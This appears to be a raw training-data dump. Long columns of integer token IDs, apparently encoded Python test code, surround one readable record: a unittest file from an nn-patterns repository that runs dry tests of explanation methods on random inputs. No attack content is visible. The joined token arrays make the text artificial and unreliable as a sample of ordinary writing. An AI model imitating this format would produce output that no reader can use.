14048,
29892,
10554,
5592,
1450,
1089,
13,
3166,
4382,
771,
29916,
29889,
1188,
1053,
390,
9026,
3403,
4598,
29892,
731,
29918,
5014,
29918,
978,
29892,
731,
29918,
7097,
29918,
978,
29892,
1369,
29918,
1188,
29918,
2974,
13,
5215,
12655,
408,
7442,
13,
3166,
1423,
29918,
17915,
1053,
6858,
29918,
17915,
29892,
3855,
29873,
29918,
16515,
13,
13,
13,
29937,
3789,
701,
7575,
12183,
363,
6987,
29901,
13,
29937,
7592,
10174,
6375,
10748,
304,
445,
1889,
13,
21707,
353,
12183,
29889,
657,
16363,
580,
13,
29937,
21707,
29889,
5563,
353,
12183,
29889,
18525,
13,
2962,
29918,
1188,
29918,
2974,
29898,
21707,
29897,
13,
29937,
1887,
1480,
7191,
526,
931,
29899,
24582,
322,
28684,
13,
13789,
353,
390,
9026,
3403,
4598,
580,
13,
21707,
29889,
1202,
4598,
29898,
13789,
29897,
13,
29937,
7191,
3978,
1218,
12430,
508,
367,
5948,
15659,
13,
842,
29918,
5014,
29918,
978,
877,
3396,
29918,
5014,
1495,
13,
842,
29918,
7097,
29918,
978,
877,
3396,
29918,
7097,
1495,
13,
13,
13,
361,
3855,
29873,
29918,
16515,
29901,
13,
1678,
3855,
932,
353,
23822,
29889,
11256,
29984,
2052,
580,
13,
13,
13,
1753,
1243,
29918,
29878,
6739,
7295,
13,
1678,
3517,
29918,
5563,
353,
17927,
29889,
5563,
13,
1678,
396,
21707,
29889,
5563,
353,
12183,
29889,
18525,
13,
268,
13,
1678,
770,
4321,
2385,
29898,
3318,
1125,
13,
4706,
2302,
353,
29871,
29900,
13,
4706,
822,
4770,
2344,
12035,
1311,
29892,
1024,
1125,
13,
9651,
1583,
29889,
978,
353,
1024,
13,
9651,
4321,
2385,
29889,
2798,
4619,
29871,
29896,
13,
13,
4706,
822,
4770,
6144,
12035,
1311,
1125,
13,
9651,
4321,
2385,
29889,
2798,
22361,
29871,
29896,
13,
308,
13,
4706,
822,
788,
29898,
1311,
29892,
921,
29892,
343,
1125,
13,
9651,
736,
921,
718,
343,
13,
308,
13,
4706,
822,
1409,
29898,
1311,
1125,
13,
9651,
736,
7442,
29889,
279,
927,
29898,
29906,
29900,
467,
579,
668,
877,
524,
29953,
29946,
1495,
13,
1678,
13,
4706,
822,
8709,
29898,
1311,
29892,
260,
1125,
13,
9651,
931,
29889,
17059,
29898,
29873,
29897,
13,
632,
13,
4706,
822,
679,
29918,
1761,
29898,
1311,
1125,
13,
9651,
736,
518,
29900,
29892,
525,
29916,
742,
29871,
29955,
29962,
13,
308,
13,
4706,
822,
1243,
29898,
1311,
29892,
5446,
1125,
13,
9651,
736,
1583,
29889,
978,
29892,
5446,
29889,
978,
29892,
5446,
29889,
1202,
29898,
29945,
29892,
29871,
29955,
511,
5446,
29889,
2378,
3285,
5446,
29889,
657,
29918,
1761,
580,
13,
13,
4706,
822,
4072,
29898,
1311,
1125,
13,
9651,
736,
11117,
524,
2396,
29871,
29955,
29892,
525,
7411,
2396,
29871,
29900,
29889,
29945,
29892,
525,
710,
2396,
525,
12353,
742,
525,
13193,
2396,
6262,
877,
12353,
742,
525,
9420,
29947,
5477,
13,
462,
1678,
525,
299,
2378,
2396,
7442,
29889,
279,
927,
29898,
29896,
29900,
511,
525,
8977,
2396,
24335,
525,
1761,
2396,
19997,
13,
462,
1678,
525,
2061,
14048,
2396,
1583,
29913,
13,
268,
13,
4706,
822,
1134,
29898,
1311,
29892,
921,
1125,
13,
9651,
736,
1134,
29898,
29916,
467,
1649,
978,
1649,
13,
268,
13,
268,
13,
1678,
1923,
29896,
353,
390,
9026,
6004,
580,
13,
1678,
1923,
29896,
1839,
1688,
29918,
1990,
2033,
353,
4321,
2385,
13,
1678,
1923,
29896,
1839,
1357,
29918,
3318,
2033,
353,
4321,
2385,
877,
5415,
29896,
1495,
13,
1678,
9080,
29918,
7097,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
2974,
29896,
29889,
3389,
29918,
1079,
369,
29892,
1146,
9857,
29922,
5574,
29897,
13,
1678,
9080,
29918,
7097,
29889,
2962,
580,
13,
268,
13,
1678,
3132,
353,
390,
9026,
4032,
29889,
657,
29918,
4645,
29898,
2974,
29896,
29889,
7328,
29897,
13,
268,
13,
1678,
396,
1243,
13154,
526,
22152,
13,
1678,
4974,
3132,
1275,
390,
9026,
4032,
29889,
657,
29918,
4645,
29898,
2974,
29896,
29889,
7328,
29897,
13,
1678,
1018,
29901,
13,
4706,
396,
508,
29915,
29873,
7522,
1653,
3132,
363,
278,
1021,
3211,
13,
4706,
390,
9026,
4032,
29898,
2974,
29896,
29889,
7328,
29897,
13,
4706,
4974,
7700,
29892,
376,
26857,
505,
10425,
7670,
2392,
1213,
13,
1678,
5174,
7670,
2392,
29901,
13,
4706,
1209,
13,
268,
13,
1678,
396,
679,
10166,
304,
4321,
2385,
2777,
13,
1678,
5446,
353,
3132,
1839,
1357,
29918,
3318,
2033,
13,
1678,
4974,
338,
8758,
29898,
5415,
29892,
4669,
14048,
29897,
13,
268,
13,
1678,
396,
1423,
17193,
411,
7929,
10166,
13,
1678,
5446,
29906,
353,
3132,
1839,
1357,
29918,
3318,
2033,
13,
1678,
4974,
5446,
1275,
5446,
29906,
13,
1678,
4974,
5446,
3032,
5415,
29918,
333,
1275,
5446,
29906,
3032,
5415,
29918,
333,
13,
1678,
4974,
5446,
3032,
999,
29918,
333,
2804,
5446,
29906,
3032,
999,
29918,
333,
268,
13,
13,
1678,
396,
1423,
6608,
3097,
13,
1678,
4974,
5446,
297,
426,
5415,
29906,
29901,
6213,
29913,
13,
1678,
4974,
5446,
297,
731,
4197,
5415,
29906,
2314,
13,
268,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
1246,
411,
16523,
736,
1192,
1159,
13,
1678,
788,
353,
5446,
29889,
1202,
13,
1678,
4974,
338,
8758,
29898,
1202,
29892,
4669,
14048,
29897,
13,
1678,
4974,
788,
29898,
29955,
29892,
29871,
29945,
29897,
1275,
29871,
29896,
29906,
13,
13,
1678,
396,
1243,
736,
4072,
13,
1678,
363,
413,
29892,
325,
297,
5446,
29889,
8768,
2141,
7076,
7295,
13,
4706,
4974,
1134,
29898,
29894,
467,
1649,
978,
1649,
1275,
413,
13,
4706,
565,
413,
2804,
525,
2061,
14048,
2396,
13,
9651,
4974,
5446,
29889,
1853,
29898,
29894,
29897,
1275,
413,
13,
13,
1678,
396,
6058,
29923,
29901,
10191,
4058,
29436,
1051,
304,
18761,
29889,
29871,
13,
1678,
396,
2823,
29901,
2045,
597,
3292,
29889,
510,
29914,
7645,
4058,
29914,
7645,
4058,
29899,
4691,
29914,
12175,
29914,
29929,
29947,
13,
1678,
4974,
5446,
29889,
657,
29918,
1761,
580,
1275,
518,
29900,
29892,
525,
29916,
742,
29871,
29955,
29962,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
7465,
736,
1192,
1159,
13,
1678,
3105,
353,
5446,
29889,
17059,
29898,
29900,
29889,
29896,
29892,
903,
16593,
2433,
12674,
1495,
13,
1678,
4974,
451,
3105,
29889,
15091,
580,
13,
1678,
4974,
3105,
29889,
2914,
580,
338,
6213,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
694,
736,
1192,
1159,
13,
1678,
4974,
5446,
29889,
1202,
29898,
29896,
29892,
29871,
29906,
29892,
903,
16593,
2433,
2696,
1495,
338,
6213,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
736,
491,
10166,
1192,
1159,
13,
1678,
1051,
29918,
771,
29916,
353,
5446,
29889,
657,
29918,
1761,
7373,
2457,
29918,
1853,
2433,
14701,
1495,
13,
1678,
4974,
338,
8758,
29898,
1761,
29918,
771,
29916,
29892,
4669,
14048,
29897,
13,
1678,
4974,
1051,
29918,
771,
29916,
3032,
1853,
29918,
710,
1275,
9872,
1990,
525,
1761,
11041,
29908,
13,
1678,
4974,
7431,
29898,
1761,
29918,
771,
29916,
29897,
1275,
29871,
29941,
13,
1678,
4974,
1051,
29918,
771,
29916,
29961,
29906,
29962,
1275,
29871,
29955,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
10166,
2130,
304,
1923,
1192,
1159,
13,
1678,
269,
15291,
353,
3132,
1839,
1311,
2033,
13,
1678,
4974,
269,
15291,
29889,
7328,
1275,
1923,
29896,
29889,
7328,
13,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
7592,
3682,
29263,
1192,
1159,
13,
1678,
1018,
29901,
13,
4706,
5446,
29889,
1202,
29898,
29955,
29892,
525,
29916,
1495,
13,
1678,
5174,
5240,
866,
5594,
2451,
408,
4589,
29901,
13,
4706,
565,
4589,
29889,
1853,
29918,
710,
2804,
525,
1542,
2392,
2396,
13,
9651,
12020,
13,
1678,
1683,
29901,
13,
4706,
12020,
16499,
291,
2392,
877,
9344,
505,
10425,
20948,
1495,
13,
13,
1678,
1018,
29901,
13,
4706,
3132,
29889,
294,
29881,
600,
29882,
29887,
29895,
13,
4706,
12020,
16499,
291,
2392,
877,
9344,
505,
10425,
23833,
2392,
1495,
13,
1678,
5174,
23833,
2392,
29901,
13,
4706,
1209,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
316,
14373,
679,
5552,
1192,
1159,
13,
1678,
3948,
353,
5446,
29889,
2378,
7373,
2457,
29918,
1853,
2433,
14701,
1495,
13,
1678,
11636,
29896,
353,
3948,
29889,
29881,
1853,
29889,
978,
3032,
657,
29918,
1767,
580,
13,
1678,
4974,
338,
8758,
29898,
6008,
29896,
29892,
851,
29897,
13,
1678,
3948,
3032,
842,
29918,
14701,
29918,
6768,
29898,
311,
571,
29918,
657,
5552,
29922,
5574,
29897,
13,
1678,
11636,
29906,
353,
3948,
29889,
29881,
1853,
29889,
978,
13,
1678,
4974,
338,
8758,
29898,
6008,
29906,
29892,
4669,
14048,
29897,
13,
1678,
4974,
11636,
29906,
3032,
5415,
29918,
333,
1275,
3948,
3032,
5415,
29918,
333,
13,
1678,
4974,
11636,
29906,
3032,
15697,
1275,
6702,
29881,
1853,
742,
525,
978,
1495,
13,
1678,
11636,
29941,
353,
11636,
29906,
3032,
9140,
571,
580,
13,
1678,
4974,
11636,
29941,
1275,
11636,
29906,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
7592,
1203,
11265,
847,
7374,
291,
1192,
1159,
13,
1678,
770,
29918,
14701,
353,
3132,
1839,
1688,
29918,
1990,
2033,
13,
1678,
5446,
29906,
353,
770,
29918,
14701,
877,
5415,
29906,
1495,
13,
1678,
4974,
770,
29918,
14701,
29889,
2798,
1275,
29871,
29906,
13,
1678,
4974,
5446,
29906,
29889,
1202,
29898,
29941,
29892,
29871,
29946,
29897,
1275,
29871,
29955,
13,
268,
13,
1678,
5446,
29906,
3032,
8143,
580,
13,
1678,
7834,
29889,
23126,
29918,
3757,
4339,
580,
29871,
396,
1480,
6475,
1795,
505,
2143,
29879,
304,
278,
1203,
13,
1678,
4974,
770,
29918,
14701,
29889,
2798,
3032,
657,
29918,
1767,
580,
1275,
29871,
29896,
13,
1678,
1018,
29901,
13,
4706,
5446,
29906,
29889,
2378,
580,
13,
4706,
4974,
7700,
29892,
376,
26857,
505,
10425,
5240,
866,
5594,
2451,
29908,
13,
1678,
5174,
5240,
866,
5594,
2451,
29901,
13,
4706,
1209,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
10166,
4469,
29899,
8143,
1192,
1159,
13,
1678,
5446,
29906,
353,
770,
29918,
14701,
877,
5415,
29906,
1495,
13,
1678,
5446,
29906,
3032,
842,
29918,
14701,
29918,
6768,
29898,
6921,
29918,
8143,
29922,
5574,
29897,
13,
1678,
4974,
770,
29918,
14701,
29889,
2798,
1275,
29871,
29906,
13,
268,
13,
1678,
628,
5446,
29906,
13,
1678,
7834,
29889,
23126,
29918,
3757,
4339,
580,
29871,
396,
1480,
6475,
1795,
505,
2143,
29879,
304,
278,
1203,
13,
1678,
4974,
770,
29918,
14701,
29889,
2798,
3032,
657,
29918,
1767,
580,
1275,
29871,
29896,
13,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
11815,
29879,
1192,
1159,
13,
1678,
1018,
29901,
13,
4706,
5446,
29889,
17059,
29898,
29900,
29889,
29906,
29892,
903,
15619,
29922,
29900,
29889,
29900,
29896,
29897,
13,
1678,
5174,
5974,
449,
2392,
29901,
13,
4706,
1209,
13,
1678,
1683,
29901,
13,
4706,
12020,
16499,
291,
2392,
877,
9344,
505,
10425,
5974,
449,
2392,
1495,
13,
1678,
5446,
29889,
17059,
29898,
29900,
29889,
29906,
29892,
903,
15619,
29922,
29900,
29889,
29945,
29897,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
1121,
1797,
1192,
1159,
13,
1678,
263,
353,
5446,
29889,
1202,
29898,
29896,
29892,
29871,
29906,
29892,
903,
16593,
2433,
12674,
1495,
13,
1678,
289,
353,
5446,
29889,
1202,
29898,
29941,
29892,
29871,
29946,
29892,
903,
16593,
2433,
12674,
1495,
13,
1678,
4974,
289,
29889,
2914,
580,
1275,
29871,
29955,
13,
1678,
4974,
263,
29889,
2914,
580,
1275,
29871,
29941,
13,
13,
268,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
6782,
1192,
1159,
13,
1678,
3948,
353,
7442,
29889,
2873,
29898,
29896,
29900,
29892,
26688,
2433,
7411,
29941,
29906,
1495,
13,
1678,
3948,
29918,
771,
29916,
353,
3132,
29889,
3286,
571,
29898,
2749,
29897,
13,
1678,
4974,
3948,
29918,
771,
29916,
29889,
29881,
1853,
29889,
978,
1275,
525,
7411,
29941,
29906,
29915,
13,
1678,
1596,
29898,
2749,
29918,
771,
29916,
29892,
3948,
29918,
771,
29916,
29889,
12181,
29897,
13,
1678,
4974,
3948,
29918,
771,
29916,
29889,
12181,
3032,
657,
29918,
1767,
580,
1275,
518,
29896,
29900,
29962,
13,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
1053,
1192,
1159,
13,
1678,
1053,
2897,
29889,
2084,
408,
288,
1028,
13,
1678,
696,
1028,
353,
3132,
3032,
5215,
877,
359,
29889,
2084,
1495,
13,
1678,
4974,
288,
1028,
29889,
370,
1028,
493,
29898,
4705,
29889,
25721,
22168,
1445,
1649,
876,
1275,
696,
1028,
29889,
370,
1028,
493,
29898,
307,
1028,
29889,
25721,
22168,
1445,
1649,
876,
13,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
10166,
19383,
1546,
12424,
1192,
1159,
13,
1678,
5446,
3032,
842,
29918,
14701,
29918,
6768,
29898,
311,
571,
29918,
657,
5552,
29922,
5574,
29897,
13,
1678,
364,
29896,
353,
5446,
29889,
1688,
29898,
5415,
29897,
13,
1678,
1923,
29906,
353,
390,
9026,
6004,
580,
13,
1678,
1923,
29906,
1839,
1688,
29918,
1990,
2033,
353,
4321,
2385,
13,
1678,
9080,
29918,
7097,
29906,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
2974,
29906,
29889,
3389,
29918,
1079,
369,
29892,
1146,
9857,
29922,
5574,
29897,
13,
1678,
9080,
29918,
7097,
29906,
29889,
2962,
580,
13,
268,
13,
1678,
3132,
29906,
353,
390,
9026,
4032,
29898,
2974,
29906,
29889,
7328,
29897,
13,
1678,
3132,
29906,
29889,
4381,
29918,
14701,
29918,
6768,
1839,
311,
571,
29918,
657,
5552,
2033,
353,
5852,
13,
1678,
5446,
29941,
353,
3132,
29906,
1839,
1688,
29918,
1990,
29915,
850,
29915,
5415,
29941,
1495,
13,
1678,
396,
3638,
10166,
515,
1923,
29896,
304,
1923,
29906,
13,
1678,
364,
29906,
353,
5446,
29941,
29889,
1688,
29898,
5415,
29897,
13,
1678,
396,
1423,
393,
591,
505,
263,
716,
3132,
1546,
278,
1023,
12424,
13,
1678,
4974,
313,
16349,
29918,
7097,
29906,
29889,
1693,
29892,
1923,
29896,
29889,
7328,
29897,
297,
390,
9026,
4032,
29889,
11303,
1237,
29918,
1609,
29918,
7097,
29871,
13,
1678,
396,
1423,
599,
12084,
3796,
5149,
13,
1678,
4974,
364,
29896,
29961,
29900,
29962,
1275,
525,
5415,
29896,
29915,
13,
1678,
4974,
364,
29906,
29961,
29900,
29962,
1275,
525,
5415,
29941,
29915,
13,
1678,
4974,
364,
29896,
29961,
29896,
29962,
1275,
364,
29906,
29961,
29896,
29962,
1275,
525,
5415,
29896,
29915,
13,
1678,
4974,
364,
29896,
29961,
29906,
29962,
1275,
364,
29906,
29961,
29906,
29962,
1275,
29871,
29896,
29906,
13,
1678,
4974,
7442,
29889,
497,
29898,
29878,
29896,
29961,
29941,
29962,
1275,
364,
29906,
29961,
29941,
2314,
13,
1678,
4974,
364,
29896,
29961,
29946,
29962,
1275,
364,
29906,
29961,
29946,
29962,
13,
268,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
27256,
3618,
1192,
1159,
13,
1678,
3948,
353,
7442,
29889,
279,
927,
29898,
29945,
29892,
29871,
29896,
29900,
29897,
13,
1678,
3132,
1839,
2749,
2033,
353,
3948,
29871,
396,
9805,
304,
1923,
29896,
13,
1678,
269,
29906,
29878,
6739,
353,
3132,
29906,
3032,
5215,
877,
15494,
771,
29916,
1495,
13,
1678,
269,
29906,
11303,
353,
269,
29906,
29878,
6739,
29889,
29934,
9026,
4032,
29889,
657,
29918,
4645,
29898,
4645,
29889,
7328,
29897,
29871,
396,
1923,
29906,
29915,
29879,
3132,
363,
1923,
29896,
13,
1678,
4974,
7442,
29889,
497,
29898,
29879,
29906,
11303,
1839,
2749,
2033,
1275,
3948,
29897,
29871,
396,
10563,
3025,
1923,
29906,
13,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
4663,
3132,
1192,
1159,
13,
1678,
396,
7370,
263,
4663,
3132,
297,
263,
7592,
1889,
13,
1678,
9335,
29918,
15439,
353,
10554,
5592,
1450,
1089,
580,
13,
1678,
9335,
353,
9335,
29918,
15439,
29889,
4645,
3032,
5215,
877,
15494,
771,
29916,
2824,
29934,
9026,
4032,
29898,
2974,
29906,
29889,
7328,
29892,
7797,
3950,
2433,
3126,
1495,
13,
1678,
396,
5399,
4129,
338,
3431,
636,
13,
1678,
4974,
9335,
29889,
15550,
3950,
29889,
1853,
3032,
657,
29918,
1767,
580,
1275,
525,
3126,
29915,
13,
1678,
4974,
9335,
1839,
1688,
29918,
1990,
29915,
850,
29915,
3126,
29899,
1688,
261,
2824,
1202,
29898,
29941,
29892,
29871,
29946,
29897,
1275,
29871,
29955,
13,
1678,
9335,
29918,
15439,
29889,
21174,
580,
13,
13,
268,
13,
1678,
17927,
29889,
3888,
703,
489,
3789,
786,
337,
14856,
424,
12084,
1243,
636,
1192,
1159,
13,
1678,
770,
349,
292,
29925,
549,
29898,
3318,
1125,
13,
4706,
822,
731,
29918,
1228,
29898,
1311,
29892,
288,
1125,
13,
9651,
1583,
29889,
1228,
353,
288,
13,
4706,
822,
24543,
29886,
549,
29898,
1311,
29892,
10809,
29922,
29900,
1125,
13,
9651,
565,
10809,
1405,
29871,
29953,
29901,
13,
18884,
736,
376,
276,
14856,
424,
3850,
13,
9651,
736,
1583,
29889,
1228,
29889,
15702,
29886,
549,
29898,
19488,
29974,
29896,
29897,
13,
13,
1678,
1923,
29896,
1839,
407,
29896,
2033,
353,
349,
292,
29925,
549,
580,
13,
1678,
1923,
29906,
1839,
407,
29906,
2033,
353,
349,
292,
29925,
549,
580,
13,
1678,
6499,
29896,
353,
3132,
1839,
407,
29896,
2033,
13,
1678,
6499,
29906,
353,
3132,
29906,
1839,
407,
29906,
2033,
13,
1678,
6499,
29896,
29889,
842,
29918,
1228,
29898,
407,
29906,
29897,
13,
1678,
6499,
29906,
29889,
842,
29918,
1228,
29898,
407,
29896,
29897,
13,
268,
13,
1678,
17927,
29889,
3888,
703,
489,
4321,
337,
14856,
424,
12084,
1192,
1159,
13,
1678,
4974,
6499,
29896,
29889,
15702,
29886,
549,
580,
1275,
525,
276,
14856,
424,
20714,
13,
13,
268,
13,
1678,
17927,
29889,
3888,
703,
489,
1383,
329,
1623,
12424,
1192,
1159,
13,
1678,
3132,
29906,
29889,
5358,
29918,
2974,
580,
13,
1678,
9080,
29918,
7097,
29906,
29889,
7122,
580,
13,
268,
13,
268,
13,
1678,
3132,
29889,
5358,
29918,
2974,
580,
13,
1678,
3132,
29889,
5358,
580,
13,
1678,
9080,
29918,
7097,
29889,
7122,
580,
13,
268,
13,
1678,
17927,
29889,
5563,
353,
3517,
29918,
5563,
13,
13,
13,
29992,
276,
339,
2658,
29918,
17915,
13,
1753,
1243,
29918,
17915,
29918,
29878,
6739,
7295,
13,
1678,
3517,
29918,
5563,
353,
17927,
29889,
5563,
13,
1678,
396,
21707,
29889,
5563,
353,
12183,
29889,
18525,
13,
268,
13,
1678,
1923,
353,
14705,
29934,
9026,
6004,
29898,
28358,
29918,
265,
29918,
5358,
29922,
8824,
29897,
13,
1678,
1923,
29889,
3389,
29918,
1079,
369,
580,
13,
268,
13,
1678,
396,
7370,
263,
3244,
393,
674,
1083,
327,
873,
2009,
263,
11109,
304,
367,
2825,
297,
278,
29871,
13,
1678,
396,
14839,
3244,
29889,
13,
1678,
770,
4321,
4899,
29898,
7097,
292,
29889,
4899,
1125,
13,
4706,
822,
4770,
2344,
12035,
1311,
29892,
28915,
1125,
13,
9651,
3244,
292,
29889,
4899,
17255,
2344,
12035,
1311,
29892,
1146,
9857,
29922,
5574,
29897,
13,
9651,
1583,
29889,
10030,
353,
28915,
13,
9651,
1583,
29889,
15091,
353,
7700,
13,
9651,
1583,
29889,
908,
353,
3244,
292,
29889,
16542,
580,
13,
308,
13,
4706,
822,
1065,
29898,
1311,
1125,
13,
9651,
3132,
353,
390,
9026,
4032,
29898,
1311,
29889,
10030,
29897,
13,
9651,
3855,
29873,
353,
3132,
3032,
5215,
877,
2272,
17915,
4262,
29889,
17303,
1495,
13,
9651,
396,
11109,
11265,
5930,
297,
1667,
14839,
3244,
29936,
591,
526,
1985,
411,
13,
9651,
396,
410,
29916,
583,
515,
1244,
29889,
13,
9651,
1583,
29889,
29880,
353,
3855,
29873,
29889,
17303,
28707,
29889,
2239,
1107,
877,
16674,
29899,
6451,
839,
3858,
1495,
13,
9651,
1583,
29889,
29880,
29889,
4294,
580,
13,
9651,
931,
29889,
17059,
29898,
29900,
29889,
29941,
29897,
13,
9651,
1583,
29889,
29880,
29889,
11458,
580,
13,
9651,
411,
1583,
29889,
908,
29901,
13,
18884,
1583,
29889,
15091,
353,
5852,
13,
268,
13,
1678,
3244,
353,
4321,
4899,
29898,
2974,
29889,
7328,
29897,
13,
1678,
3244,
29889,
2962,
580,
13,
268,
13,
1678,
1369,
353,
931,
29889,
2230,
580,
13,
1678,
1550,
5852,
29901,
13,
4706,
411,
3244,
29889,
908,
29901,
13,
9651,
565,
3244,
29889,
15091,
29901,
13,
18884,
2867,
13,
4706,
4974,
931,
29889,
2230,
580,
529,
1369,
718,
29871,
29945,
29889,
29900,
29892,
376,
4899,
1258,
451,
8341,
2629,
29871,
29945,
5226,
1213,
13,
4706,
931,
29889,
17059,
29898,
29900,
29889,
29900,
29896,
29897,
13,
4706,
3855,
932,
29889,
5014,
13634,
580,
13,
13,
1678,
4974,
525,
2239,
1107,
29915,
297,
3244,
29889,
29880,
3032,
1853,
29918,
710,
13,
1678,
1923,
29889,
5358,
580,
13,
13,
1678,
17927,
29889,
5563,
353,
3517,
29918,
5563,
13,
13,
1753,
1243,
29918,
2218,
6915,
7295,
13,
1678,
396,
30022,
17927,
29889,
5563,
353,
12183,
29889,
18525,
13,
268,
13,
1678,
396,
315,
492,
1237,
7150,
12519,
746,
1923,
766,
6915,
29879,
17659,
3730,
13,
1678,
1923,
29918,
15439,
353,
10554,
5592,
1450,
1089,
580,
13,
268,
13,
1678,
3132,
29918,
15439,
353,
10554,
5592,
1450,
1089,
580,
13,
1678,
9335,
353,
3132,
29918,
15439,
29889,
4645,
3032,
5215,
877,
15494,
771,
29916,
2824,
29934,
9026,
4032,
29898,
2974,
29918,
15439,
29889,
4645,
29889,
7328,
29897,
13,
1678,
9335,
29889,
5358,
29918,
2974,
580,
13,
268,
13,
1678,
4974,
9335,
29889,
2218,
18045,
580,
338,
5852,
13,
268,
13,
1678,
4974,
1923,
29918,
15439,
29889,
4645,
29889,
2218,
18045,
580,
338,
5852,
13,
1678,
1018,
29901,
13,
4706,
1596,
29898,
2974,
29918,
15439,
29889,
4645,
29889,
15702,
3101,
13,
4706,
4974,
7700,
29892,
376,
1252,
6021,
24875,
2392,
29908,
13,
1678,
5174,
24875,
2392,
29901,
13,
4706,
1209,
13,
268,
13,
1678,
396,
788,
491,
3685,
29901,
4889,
278,
1095,
310,
1889,
13,
1678,
1923,
29918,
15439,
29889,
21174,
580,
13,
268,
13,
268,
13,
1678,
396,
315,
492,
1237,
7150,
18424,
7191,
1584,
565,
278,
1923,
429,
1169,
1728,
14382,
13,
1678,
1923,
29918,
15439,
353,
10554,
5592,
1450,
1089,
580,
13,
1678,
1923,
29918,
15439,
29889,
4645,
1839,
1311,
13359,
29918,
15603,
353,
525,
29879,
370,
327,
482,
20714,
13,
1678,
931,
29889,
17059,
29898,
29900,
29889,
29896,
29897,
13,
1678,
4974,
1923,
29918,
15439,
29889,
4645,
29889,
2218,
18045,
580,
338,
5852,
13,
268,
13,
1678,
396,
788,
491,
3685,
29901,
4889,
278,
1095,
310,
1889,
13,
1678,
1923,
29918,
15439,
29889,
21174,
580,
13,
268,
13,
1678,
396,
315,
492,
1237,
17659,
3730,
4386,
8327,
4892,
310,
1923,
313,
2541,
11815,
29897,
13,
1678,
1923,
29918,
15439,
353,
10554,
5592,
1450,
1089,
580,
13,
1678,
1923,
29918,
15439,
29889,
21174,
580,
13,
268,
13,
1678,
1018,
29901,
13,
4706,
1923,
29918,
15439,
29889,
4645,
29889,
15702,
29898,
15619,
29922,
29896,
29897,
13,
4706,
4974,
7700,
29892,
376,
1252,
6021,
5974,
449,
2392,
29908,
13,
1678,
5174,
5974,
449,
2392,
29901,
13,
4706,
1209,
13,
13,
13,
1678,
396,
1923,
1838,
29915,
29873,
13958,
701,
565,
13154,
526,
451,
3625,
304,
7150,
766,
6915,
13,
1678,
396,
2643,
13,
1678,
1923,
29918,
15439,
353,
10554,
5592,
1450,
1089,
580,
13,
1678,
363,
474,
297,
3464,
29898,
29946,
1125,
13,
4706,
396,
1653,
263,
14928,
310,
7123,
13154,
13,
4706,
21447,
353,
10554,
5592,
1450,
1089,
580,
13,
4706,
9335,
353,
21447,
29889,
4645,
3032,
5215,
877,
15494,
771,
29916,
2824,
29934,
9026,
4032,
29898,
2974,
29918,
15439,
29889,
4645,
29889,
7328,
29897,
13,
4706,
21447,
29889,
21174,
580,
13,
268,
13,
1678,
1369,
353,
931,
29889,
2230,
580,
13,
1678,
1923,
29918,
15439,
29889,
4645,
29889,
5358,
29918,
2974,
580,
13,
1678,
4974,
931,
29889,
2230,
580,
448,
1369,
529,
29871,
29896,
29889,
29900,
13,
1678,
4974,
1923,
29918,
15439,
29889,
4645,
29889,
2218,
18045,
580,
1275,
5852,
13,
268,
13,
1678,
396,
788,
491,
3685,
29901,
4889,
278,
1095,
310,
1889,
13,
1678,
1923,
29918,
15439,
29889,
21174,
580,
13,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
396,
30022,
1243,
29918,
29878,
6739,
580,
13,
1678,
1243,
29918,
17915,
29918,
29878,
6739,
580,
13,
1678,
396,
30022,
1243,
29918,
2218,
6915,
580,
13,
268,
13,
2
] |
nn_patterns/utils/tests/dryrun.py | pikinder/nn-patterns | 15 | 87952 | # Begin: Python 2/3 compatibility header small
# Get Python 3 functionality:
from __future__ import\
absolute_import, print_function, division, unicode_literals
from future.utils import raise_with_traceback, raise_from
# catch exception with: except Exception as e
from builtins import range, map, zip, filter
from io import open
import six
# End: Python 2/3 compatability header small
import lasagne.layers as L
import numpy as np
import theano
import theano.tensor as T
import unittest
from . import networks
__all__ = [
"BaseTestCase",
"ExplainerTestCase",
]
class BaseTestCase(unittest.TestCase):
"""
A dryrun test on various networks for an explanation method.
For each network the test check that the generated network
has the right output shape, can be compiled
and executed with random inputs.
"""
def _apply_test(self, method, network):
raise NotImplementedError("Set in subclass.")
def test_dryrun(self):
for network in networks.iterator():
if six.PY2:
self._apply_test(self._method, network)
else:
with self.subTest(network_name=network["name"]):
self._apply_test(self._method, network)
pass
class ExplainerTestCase(BaseTestCase):
def _method(self, output_layer):
raise NotImplementedError("Set in subclass.")
def _assert(self, method, network, x, explanation):
pass
def _apply_test(self, method, network):
# Get explainer.
explainer = method(network["out"])
# Dryrun.
x = np.random.rand(1, *(network["input_shape"][1:]))
explanation = explainer.explain(x)
self.assertEqual(tuple(explanation.shape[1:]),
tuple(network["input_shape"][1:]))
self._assert(method, network, x, explanation)
pass
class PatternComputerTestCase(BaseTestCase):
def _method(self, output_layer):
raise NotImplementedError("Set in subclass.")
def _assert(self, method, network, x, explanation):
pass
def _apply_test(self, method, network):
# Get explainer.
computer = method(network["out"])
# Dryrun.
x = np.random.rand(10, *(network["input_shape"][1:]))
patterns = computer.compute_patterns(x, 2)
self._assert(method, network, x, patterns)
pass
| [
1,
396,
14893,
29901,
5132,
29871,
29906,
29914,
29941,
24521,
4839,
2319,
13,
29937,
3617,
5132,
29871,
29941,
9863,
29901,
13,
3166,
4770,
29888,
9130,
1649,
1053,
29905,
13,
1678,
8380,
29918,
5215,
29892,
1596,
29918,
2220,
29892,
8542,
29892,
29104,
29918,
20889,
1338,
13,
3166,
5434,
29889,
13239,
1053,
12020,
29918,
2541,
29918,
15003,
1627,
